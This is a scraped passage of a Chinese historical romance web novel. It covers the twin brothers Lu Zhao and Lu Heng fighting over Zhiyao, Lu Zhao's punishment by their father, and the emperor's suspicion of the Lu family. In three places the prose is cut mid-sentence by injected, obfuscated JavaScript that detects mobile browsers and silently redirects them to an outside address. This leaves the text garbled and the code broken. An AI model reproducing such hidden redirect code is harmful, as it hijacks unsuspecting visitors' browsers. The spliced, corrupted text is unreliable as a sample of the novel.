“窈窈,你现在去找车夫,回侯府。回去立刻告诉我爹,带人来这里。”他顿了顿,改口:“你别去,叫陆衡去。” “崔知窈今日哪都没去,就在侯府,陆衡陪着她,记清楚了?” 知窈立刻抓住了他的手,“那你呢?” ——看那些人伤得那么重,就知道这里一定有危险。 他拍了拍她,抽手回来:“我一会儿也就回去了。” “窈窈快些回去,也好早点叫人过来。” 陆昭回了暗道,进了五号的牢房。而后跟他换了衣裳,将身上抹脏,戴上了那张象征可以下注赌生死的面具。 五号身上的伤不轻,他把他安置在旁边那间空牢房。 五号不知道他什么来历,也根本拦不住他,只从他衣料上隐隐察觉他身份不凡。 陆昭靠在牢房的门上,闭目养神。 若他同知窈一起回去,将这儿的情况一五一十告诉他爹,哪怕连暗道的位置都标明了,等他爹带人过来,赌坊也有一千种一万种遮掩过去的法子。回来这一路上他观察过,有几处机关动过的痕迹,想必平日里暗道的入口是藏在机关下面的。 多遮过去一天,就不知要死多少人。从前也不是没有地下赌场为了躲风头,把人全杀了的。 要想万无一失,除非他在其中。 真到万不得已的地步,他身上有陆家的玉佩,就算赌场主人胆大包天,来玩个热闹的达官贵人也不会想触这个霉头。 一个时辰稍纵即逝,他被人领了出去。 另一边,知窈一路催着车夫快些,终于赶回了侯府。她几乎是飞扑到陆衡面前,压着哭腔,几句话将情况说明白了。 看着阿衡哥哥愈发凝重的神色,她心慌得彻底。 陆衡蹲下来,安抚般抱了抱她,语气温柔:“你做得很好,我们这就去接陆昭。你先回家,好好睡一觉,明天就没事了。” 而后吩咐人将她送回了崔府。 知窈从回了崔府就心神不宁,任崔夫人怎么问,她也只摇头——直到两个时辰后,陆衡身边的小厮过来传了话,说人已经平安接回去了。 她这才安下心来,回房去睡了。 崔司徒和崔夫人更是一头雾水,再去问那小厮,小厮只道世子说,今夜家中之事确实走不开,望崔司徒和夫人见谅,明日一早他过来当面赔罪。 知窈第二日一直睡到日上三竿才醒,甫一睁眼,便看见她阿娘脸色阴沉坐在她房里——见她醒了,又拂袖而去。 知窈自知理亏,立马爬起来把自己收拾干净了,去她阿娘那儿领罚。 然后被嬷嬷狠狠打了十下手心。 阿娘把她留下,看着她用了午膳,又叫她去祠堂跪了一日一夜。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|11783691|125420||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一眼,“这次便算了,往后不许撺掇你阿衡哥哥陪你胡闹。” “窈窈要静养,学堂想必是不能去了。”陆衡温和道:“虽则伤得不重,但平日走动也难免会牵扯到,还是多休养些时日得好。” 崔夫人闻言点了点头,又叹了口气,“本来就三天打鱼两天晒网,这下好了,干脆不去了。” 说着她戳了知窈一指头,看着她还发红的眼睛,到底是没使劲儿:“我看你就是成心。” 陆衡笑了笑,“落下的课业,我每两天过来教她就好。” 崔夫人当即应了下来——这样也好。本也没叫她去考功名,只是怕没了学堂束缚,她又跟小时候似的,无法无天。 她小时候就拿陆衡当哥哥,从小到大,总是更容易听进去陆衡的话。 有崔夫人陪着她,陆衡便没再留,径直回了侯府。 刚回去,冬青便迎上前,“世子,二公子刚回来,身上好像是带了伤,也没叫府医来瞧,可要叫府医过去看看?” 话说完,才发觉自家世子脸色沉得吓人,冷声道:“叫他给我滚过来。” 天色渐渐昏沉下来。 书房早早点了灯,今日用的灯烛格外多,四处都摆上了,映得光亮一片,恍若白昼。 陆昭进去时,便见陆衡背对着自己,站在正中,手上什么也没拿。 难得没抽着空处理旁的事儿,这是专程在等他。 他不过刚走近,陆衡转回身看向他,眼神冰冷,突然扬手,反手一巴掌扇在他脸上。 极清脆的一声。 陆衡半分没收着力气,这一掌打得极狠,手上戴着的金玉扳指划过他下颌,留下一道长长血痕。 陆昭偏过头去,耳边一时都有嗡鸣声。 嘴里充斥着血腥味儿。他抬手抹了一把唇角,慢慢捻了捻。 而后深呼吸了一口,抬头看向陆衡,眼神骤然便发着狠,猛地一拳砸过去。 两人身形相当,动起手来谁也没讨着便宜——比起有招式路数的过招,更像小时候逞凶斗狠的斗殴。 但陆昭右肩有伤,又一直不曾好好处理过,一动便将伤口扯开了,没多久便显出几分力不从心。 陆衡胳膊抵着他喉咙,将他摁在柱子上,“没什么想说的?” 陆昭轻笑了一声,“你不是都知道了?还想再听一遍?” 抵着他喉咙的手骤然便用了力:“混账东西。” 陆昭咳了一声,“我是个混账,你难不成是第一天知道?” 陆衡冷眼看着他:“跟她有婚约的人是我,你现在算什么?” “算什么?勾引兄嫂?”他嗤笑了一声,“婚约啊。陆衡,你只不过是比我早出生了一刻钟。” “除了婚约,你还有什么?” 陆昭一掌推开他胳膊,“从前我只怕她心里没我。” “现在,我没什么好怕的了。” “你那些见不得光的心思,自己藏着掖着也便罢了。露在她面前。”陆衡冷笑了一声,“你是无所谓,但你要她怎么自处?” “你猜她以后,还会不会见你?” “陆昭,你自找的。” 23. 第二十二章 话音刚落,陆昭猛地攥住他衣襟,将他掼在地上,“你跟她说什么了?” 陆衡看着他,语气淡漠:“你不是说她心里有你么?你怕什么?” “毕竟十四年,就算是养只逗闷儿的阿猫阿狗在身边,也不会不上心。” 他眼底猩红,卡住他的咽喉:“我问你跟她说什么了?!” “你知道你现在像什么吗?”陆衡轻笑了一声,呼吸已经有些不畅,话音也便断断续续着:“——丧家之犬。” 陆昭倏地松了手,从地上爬起来就要往外走,“我去找她。” 还没走出两步,就听陆衡在身后淡淡道:“她哭了一路。” 他脚步便顿住了。 陆衡半撑起身子,抬眼:“你是嫌闹得不够大,还是嫌她现在日子过得太轻快?” “她若是想见你,又何必走?” 陆昭蓦地攥紧了拳,又缓缓松开。 像是最后一股劲儿也从他身体里抽了出去。 两人动手的动静不小,连书架都倒了一架,满地狼藉。 陆侯爷陆峥闻讯赶过来的时候,便见两人面上皆带着伤,虽是停手了,中间气氛却仍是剑拔弩张。 他只扫了一眼,登时额头青筋直跳。 “这闹的是哪出?还当自己是三岁不成?!”这话是对陆昭说的。 毕竟,陆衡不像是会主动跟人打架的性子。 陆侯爷停在陆昭面前,恨声道:“你的老师是当世大儒,教了你这么多年,便是块朽木,也该雕成花了!到头来是让你不孝不悌,殴打兄长的?陆昭,还有什么是你做不出来的?” 陆衡依礼唤了一声父亲,而后淡淡解释道:“是我先动的手。” 陆昭抬头,看着陆侯爷,轻轻勾了勾唇角。 陆峥看着他这副油盐不进的样子就上火,想也没想:“你兄长训你,必是事出有因,你听着就是!还有你动手的份儿?!” 话说完,才看见他下颌处那道细长的血痕,皱了皱眉,话音也软了两分:“到底是因为什么事儿?” “还能有什么事儿?”陆昭顺着他视线擦了一把脸,“早就看陆衡不顺眼了。找个借口,打他一顿解恨。又打不死,父亲不用这么紧张。” 陆峥气得差点一口气没提上来,本已经扬起了手,但见他脸上还肿着的伤,一时竟没处下手,只指着他鼻子:“混账!你给我滚去祠堂跪着!” “好嘞。”陆昭面上仍带着笑,应下便利落转身,毫无留恋地走出去。 陆峥叫了府医进来,替陆衡看过。府医说不过是些皮外伤,擦点药膏便能好。 他才又问了一句:“衡儿脸上的伤,多久能消?” “世子若按时用药,两日便可。” 陆衡知道他的意思,敛下眉眼:“这几日不需进宫,我在家养两天便好,父亲不必担心。” 他平日要见的人太多,若脸上带着伤,势必要引人追问。怕是不多时,陆昭这不敬兄长的名声便会传遍了。 陆侯爷挥了挥手,叫府医退下去,人退到门口,又被他沉声叫住:“去给祠堂里那个看看。” “我看他肩上还有道箭伤,处理干净些,天气热了,免得生了疮疡。” 屋里只剩下他和陆衡,他才沉沉叹了口气,“这混账下手没轻没重,你这几日便安心在家养着,旁的事都等伤好了再说。” “昭儿也不小了,旁的不说,过几年也是该议亲了。他混成这样,哪家勋贵愿意把女儿嫁给他。” 陆衡温和开口:“儿子明白。今日之事,不会有人传出去的。” 陆侯爷又叹了一声,“罢了,说到底,是我对他有愧。” ——陆衡成名太早,盛名又太过,他便只能刻意打压着陆昭,不许他出头。 非陆昭不作为,而是他最亲近的这一家人,都不许他有所作为。 毕竟还有皇后娘娘和太子殿下在。先帝费尽周折收走陆家军权,到如今也近二十年了。 陆家出个文臣撑着门楣便罢了,军权是再不能染指半点。 他想着,昭儿空有天赋,却难施拳脚,又知他这辈子怕也只能当个只知吃喝玩乐的纨绔, 他心中有愧,便不得不在其余地方多宽纵几分,想着他若是能轻松度过此生,不必汲汲营营,也是好事。 ——日积月累,竟养成了现在这样子。 “阿昭日后,定能明白父亲苦心的。” “罢了。”陆侯爷拍了拍陆衡的肩,“你且好好养着,朝中的事儿这几日便不要劳心了。我去看看他。” 到了祠堂,才见自家夫人不知是从哪儿得了信儿,已经赶过来了,在陆昭身边劝着什么。 府医站在一旁,看样子,是还没给他处理伤口。 陆峥皱着眉走进来,“他这伤是处理不了?” “不是,是……”府医看了一旁板正跪着的陆昭一眼,又看向侯爷,“是二公子说……” 府医支支吾吾,陆峥已经没了耐性:“说什么?” 陆昭适时出声,“我说,反正少不了一顿打,还费两道事儿做什么,打完一起看吧。” 陆峥一听他开口,便觉耳边嗡嗡地响,“把你老子气个半死,你就称心如意了?” “这就气个半死?那往后能气死您的事儿,恐怕还不少。” “孽障!”陆峥急促呼吸了几口,“军棍呢?把军棍给我拿上来!” 陆夫人听了忙挡在陆昭身前,“好了!他这一身的伤,你还得怎么打?” “你还护着他,你看看他说的都是什么话!” “他今日连他兄长都敢动手,明日还指不定能干出什么事儿来!我怎么就生了这么个孽障!” 陆夫人叹了口气,转向陆昭,“平白无故,你同衡儿动什么手?衡儿是你兄长,你本也该敬着重着,快跟你爹好好说说,去跟你哥认个错,这事儿便算过了。” 陆昭拍了拍她的手,“阿娘,我撑得住。” 眼见着军棍拿上来了,陆夫人急切抓住他的手:“昭儿,昭儿你求句饶,你爹正在气头上,消了气也便好了……” “夫人让开。今日我就当着陆家列祖列宗的面儿,教教他什么是长幼有序!” 二十军棍。 陆侯爷没亲手打,行刑的下人得了陆夫人的暗示,手下稍轻了两分。 不过几棍,陆侯爷便听出猫腻,冷眼瞥过去。 那下人再不敢马虎,用足了力气。 陆昭硬是咬着牙,一声没吭。 二十棍打完,连带着一身的伤,他已经爬不起来。 陆峥看着他,咬牙道:“去给你哥认错!” 陆昭强撑起身子,抬眼,倏而轻笑了一声:“他做梦。” 眼见着陆峥亲手拿起了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|11783687|125420||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 军棍,陆夫人扑了过去,眼中已经带泪:“够了!两个孩子吵嘴,你还要打死一个不成?” “来人!把昭儿抬回去。”陆夫人看了看他的伤,心口一疼,吩咐身边的丫鬟:“去请罗御医过来。” 陆侯爷没拦,只背过身去,看着前头供桌那一排排牌位,无声叹了口气。 陆衡依约去崔府给知窈讲书的时候,脸上的伤痕已经彻底淡去了。 她今日格外有些心不在焉——眼睛是看着他的,听他说了好一会儿,中间还点了头,可再问她的时候,她却连讲到哪儿了都不知道。 陆衡看着她,“窈窈有什么想问的,可以直接说。” 她犹豫了片刻,小声道:“听阿娘说,姨母连夜请了罗御医去侯府,是给陆昭看的。” 陆衡抬手勾住她鬓边散下来的发丝,轻轻在手中捻了一下,“嗯。” 阿衡哥哥绕着她的头发,弄得她有点痒,便伸手抓住了他的手,“他……怎么了?是因为那道箭伤么?” “阿昭顶撞父亲,被罚了二十军棍。”陆衡顺势扣住她的手,摩挲着她的手腕,语气温和,似是宽慰:“没动到筋骨,肩上的箭伤重一些,但处理得及时,也不会怎么。静养段日子便好了。” 知窈“哦”了一声,低头去看方才几乎没听进去的那页书,不在继续追问了。 陆衡垂下眼帘,安静看着她。 他跟陆昭动手那天,看见了他贴身收着的那只香囊。 玄底绣祥云纹,针脚蹩脚得确实是出自她手。 那一刻,他在陆昭面前对她所有的胸有成竹,像是一层一戳就破的薄纸。 不过是虚张声势而已。 他的窈窈,根本没有给他底气。 陆衡久久没有动静,知窈自己读了一遍那一页,疑惑抬头,唤了一声:“阿衡哥哥?” 她的手还留在他手中,顺从地任他怎么用力牵着扣着。 为了方便听他说话,坐得也离他很近,稍一低头,他便能闻见她发丝间若隐若现的花香气。 因着已经入夏,知窈身上衣衫单薄,自然便露出一段莹白如玉的脖颈。 像现在这样抬头对他说话时,两人间距离其实已经近到呼吸都交缠在了一起。 她真是,对他一点防备都没有。 他一时甚至分不清,这是好事,还是坏事。 知窈歪了下头,“阿衡哥哥有心事。” 语气笃定。 陆衡轻轻笑起来,松开她的手,只抬手揉了一把她发顶:“没有。” ——他心里那些见不得光的想法,恐怕只是提起半句,便会吓坏了她。 知窈伸手,拿了一块桌案一旁早备着的酥饼,喂到他嘴边。 “里头是茉莉花作馅儿,清甜不腻,我知道阿衡哥哥要来,特意叫她们提前备好的呢。” “我心情不好的时候,就很爱吃这个。” 看着陆衡咬下一口,她眉眼一弯,“甜么?” 她眼睛微微发亮,这样专注地只看向他时,他似乎听得见,那些不知何时滋生在深处的嫉妒和渴望肆意生长的声音。 但那些东西,不该在她面前透露出半点。 陆衡从她手中将剩下的酥饼接过,好让她腾得出手去给自己拿一块。 看着她迫不及待咬了一小块的样子,他只是笑了笑,目光温柔:“很甜。” 24. 第二十三章 从那天开始,陆衡每隔两天便会过来。 倒也不全是为了教她读书,更多是为了陪陪她。 ——她已经两个月没出过门了,从前在家待上两天便要待不住的人,如今突然就改了性子,崔府上下都生怕她给自己闷坏了。 崔夫人知道她定然是有心事了,但再怎么问,知窈也只说是暑热难当,她怕晒。 三言两语便糊弄过去了。 其实她只是怕会遇见陆昭。 虽则听说陆昭一直在家里养伤,又因为当日陆侯爷余怒未消,把他禁足在自己院子里,除了府医能进出,其余人一概不许见他。 陆侯爷的意思是他什么时候肯低头了,什么时候再放出来。 但她可太知道陆昭的性子了。 她只要一出门,叫陆昭知道了,管他是关在哪儿,他都能有一千种法子逃出来堵她。 她还不想见他。 或者说,她还没想好,再见面的时候该怎么面对他。 但有一点她是确定的——她和阿衡哥哥早有婚约在身,阿衡哥哥又对她这样好,他们总有一天要成婚的。 说不定就是明年她及笄后。 既然如此,她和陆昭,不如不见。 这两个月最开始,陆昭不知是动了什么门路,想方设法地给她送来不少东西,还有信件,知窈看都没看,攒了几次,后来干脆叫阿衡哥哥给他带回去了。 彼时陆衡捏着那几封厚厚的信,眼睫垂着,微微投下一片阴影,拨了一下信封边缘,“窈窈还真是放心。就不怕我拆开看了?” 知窈一怔,眼睛缓缓睁大,显然是刚想到还有这种可能。但也只慌了一下,很快便神色如常,笃定道:“阿衡哥哥不会的。” 陆衡看着她,哑然失笑,“有时候真是会后悔。” 她没听懂这句,但阿衡哥哥也没再继续说了,只叫她放心,他会把东西原封不动地还给陆昭。 她不知道阿衡哥哥是怎么跟陆昭说的,总之从那以后,便再不见陆昭的东西送来了。 夏天过去,第一片叶子落下来的时候,知窈还有些恍惚。 好像从来没有哪年夏天过得像今年一般,这样快。 她都不记得自己这一夏天都做了什么事。 没过两天,宫里有人来,说是新培育出一批绿菊,珍贵难得,圣上说长宁大长公主定然会喜欢,叫知窈进宫挑几盆,好送去停云峰。 祖母素来偏爱菊花,从入停云峰清修后,每年入了秋,宫里都会挑开得最好的一批送去。 这门是非出不可了。 知窈打听了好几次,确定陆昭还被禁足在院子里,不可能进宫,才放下心来。 依着惯例,她进宫都是先去皇后娘娘那儿的。 等皇表伯伯忙完了,便会去坤宁宫坐坐,也瞧瞧她。 皇后娘娘本名陆瑛,将门出身的女儿,性子直爽,同她所见的宫中其他的娘娘都不一样。 知窈从小就同皇后亲近,小时候祖母带她进宫,皇后娘娘便说,若不是两家早定了婚约,她定是要认窈窈做女儿的。 虽则有些日子没来了,但她早对宫里的路都熟透了,是以早早便发觉宫人领她去的方向并不是坤宁宫,而是祖母曾经在宫里的住处。 清宁斋到现在都留着,虽几乎不曾有人来住过,但也日日有宫人打扫。 眼见着要到了,知窈问了领头的公公一句,“公公,今儿不是去坤宁宫么?” 公公笑着道:“今年秋风来得急,皇后娘娘前两日受了凉,头风又犯了,御医说须得卧床静养。” “偏偏这绿菊娇贵,再等几日,怕就不好看了。这才着急忙慌地请姑娘过来,替大长公主挑上几盆。” 说话间已经到了,那公公在门口停下,一躬身:“姑娘快请吧。” 知窈总觉得哪儿有点怪,但也来不及细想,依言走进去,便见圣上已经等在里头了,正负手看着摆成两排的绿菊。 她行了一礼,“皇表伯伯。” 圣上拨弄了两下其中开得正盛的一朵,招呼她:“快过来看看,这盆如何?” 知窈上前仔细看过,摇摇头:“这盆开得是好,但送去停云峰这一路少不得颠簸,怕这花瓣就散了。” 圣上一愣,而后笑叹着道:“说的是。罢了,你来挑吧。朕这姑母总说,还是你这个孙女最懂她心思,比崔司徒强了不知多少。” “这一阵儿没见你入宫,都做什么了,说给朕听听?” 知窈选了几盆将开未开的,边挑着,边细细将身边有趣的事儿挑出来讲了一遍——皇表伯伯一向疼爱她,是以她在御前说话也不会多注意,权当是自家长辈。 聊到阿衡哥哥这段时日总来府上陪她,圣上笑了笑,“难得他有空闲。” “知窈会不会怪朕,交给陆衡那么多事,害得他都没时间好好陪你。” “不会。”知窈一本正经道:“阿衡哥哥能为大梁、为皇表伯伯效力,我高兴还来不及呢。” 圣上笑起来,“你啊你。” “说起来,这小子惯会先斩后奏,这一阵儿没动静,还不知是又在查什么。他可跟你说过?” 知窈摇头。 圣上沉吟片刻,“最近也没什么人同他接触?尤其是你不认识的一些生面孔。” 知窈还是摇头,半晌回过味儿来,忍不住辩白了一句:“阿衡哥哥那不算先斩后奏。” “是您赐了阿衡哥哥金玉令,准他行监察之职,他若不查清楚,要怎么回禀?那万一冤枉好人了怎么办?” 圣上脸上笑意未减,“都说女大不中留,朕虽没个女儿,但看你便知此言非虚。还没嫁呢,就尽向着他说话了?” 眼见着她耳朵红起来,圣上便没再打趣,指了指她方才挑出来的几盆,吩咐身边的宫人:“这些送去停云峰。剩下的,都送到崔府去吧。” 而后转向知窈,“绿菊难得,今年统共也就这几盆。看你方才挑得艰难,想来是也喜欢,回去慢慢看吧。” “今日这事儿就别告诉陆衡了。知窈说得对,陆衡既已行使监察之职,是得查清楚了。若叫他知道了,往后行事畏首畏尾,朕可是失了一位能臣。” 看着知窈走了,皇帝脸上的笑意才一点点淡下去。 昨日,边关一道密信送到了他手上。 二十年,陆家自交兵权至今已有二十年,可余威竟仍残留军中。 月前,胡人骤然对永绥城发难,因守将指挥不力,边关吃了一场败仗,最后虽守下了永绥城,但也伤亡惨重。 军中将士敢怒不敢言,后来在例行犒赏之际,将士们吃醉了酒,有人口无遮拦,提及昔年的陆家。 有人说,若还是陆家领兵,这二十年,必然不会过得如此窝囊。 此言一出,一呼百应。 再后来,便有人提起如今的陆世子,大有将未来希望寄托其上的意思。 ——陆世子十四岁那年,便能只凭几张地形图和陆侯回忆里的边关情形,结合突厥王廷异动,定下计略,收复庆宜城。 那场仗打得漂亮,时至今日,还被津津乐道着。 这些话兴许只是醉酒后的无心之言,可写进密报,再呈到御案之上时,便不是这么轻飘飘能揭过去的了。 陆家威望仍在,陆衡多智近 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|11783685|125420||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 妖,如此年纪便盛名在外。偏偏他的太子,对陆家,似乎比对他这个父皇还要更亲近几分。 看着知窈走远,皇帝收回视线,淡淡问了一句:“澄儿在做什么?” 掌事太监立即道:“禀陛下,二殿下早些时候往慈宁宫去了,想来是听说了太后娘娘身子不爽利,去伺候汤药。” “他是个有心的。太子呢?” “太子殿下正在坤宁宫。陛下可是要去瞧瞧皇后娘娘?” 皇帝淡淡看了那掌事太监一眼,后者立马跪下,重重扇了自己两个嘴巴:“奴才多嘴。” 皇帝迈步走出去,“回乾正殿。” 知窈回去便见于希月眼睛红红地等在外头。 将人领进屋里,她才终于兜不住似地哭出声来,“陈平病了……” 知窈自诩对人名人脸过目不忘,此时也是一愣:“谁?” 于希月抽抽噎噎道:“前两天,扬州老家来了人,我叫身边的丫鬟送了些首饰银子,才打听出来……说是,说是我刚走没多久,他便消瘦下去,后来一直写信给我,哪怕从来没收到过回信,却也没断过。” “直到,直到前些日子有人将我从前收着的那箱子送还到了他那儿。箱子里头收着的都是我们平日里来往的书信和小物件,上回我同你说过的那些。” “他一下子便病倒了,眼见着怕是要不好。”于希月拉住她的衣袖,“表姐,我想回一趟扬州,我想去找他。” 知窈皱了皱眉,“可是……舅舅能肯么?” “只是见一面,把话说清楚而已。”于希月连忙道:“我、我都找好理由了,只是家里离不得阿娘,只我一个人,就算带了护院,他们也不放心。倘若表姐能陪我一起去,阿爹阿娘肯定不会不许的。” “姐姐,求你。祖父祖母去得早,姐姐都没有回过扬州,那里秋天可漂亮了,就当是去玩的,好不好?” 她这些日子确实是闷坏了。 知窈看看于希月肿着的眼睛,想了想:“我问问阿娘,她若是能点头,这事儿便能成。” ——没成想于希月哭得声音更大了,扑上来抱住了她:“我就知道表姐最好了……” 就在这院子里,几年前,两人还互相扔泥巴来着。 知窈伸手拍了拍她后背,听她哭声一停:“陆世子公事繁忙,肯定抽不开身……对了,还有陆二哥哥呢。” “不如叫着陆二哥哥一道?” 知窈拍着她的手在空中一顿,话已经先一步出口:“不行。” 于希月疑惑看向她——她一早就觉得,这两人是闹了什么别扭。 知窈别开视线:“陆昭他还在禁足……肯定没空。” 送于希月回去以后,她磨了崔夫人两天,也就磨得她阿娘松了口。 刚定下启程的日子,第二天便见那个“没空”的人翻进了她家院子。 她听见风声抬头时,正见他撑身翻上墙头。 两个多月不见,她仰头看着他,一时竟觉得有些朦胧。 ——也许只是因为他身后的阳光太刺眼。 一句下意识的“陆昭”被咬在唇间,知窈没出声,只一瞬不瞬地看着他。 四目相对的那刹,她似是被风冷着了,轻轻颤了一下。 围墙边已经泛黄的叶片被风吹得刷刷作响,不知是在掩饰谁的心跳。 陆昭松手一跃而下,大跨步朝她走近,步子很急。 最终却停在离她四五步远的地方。 两人隔开很远,哪怕伸手也碰不到彼此。 这恐怕是他们两个这么多年,站过最远的距离。 “窈窈。”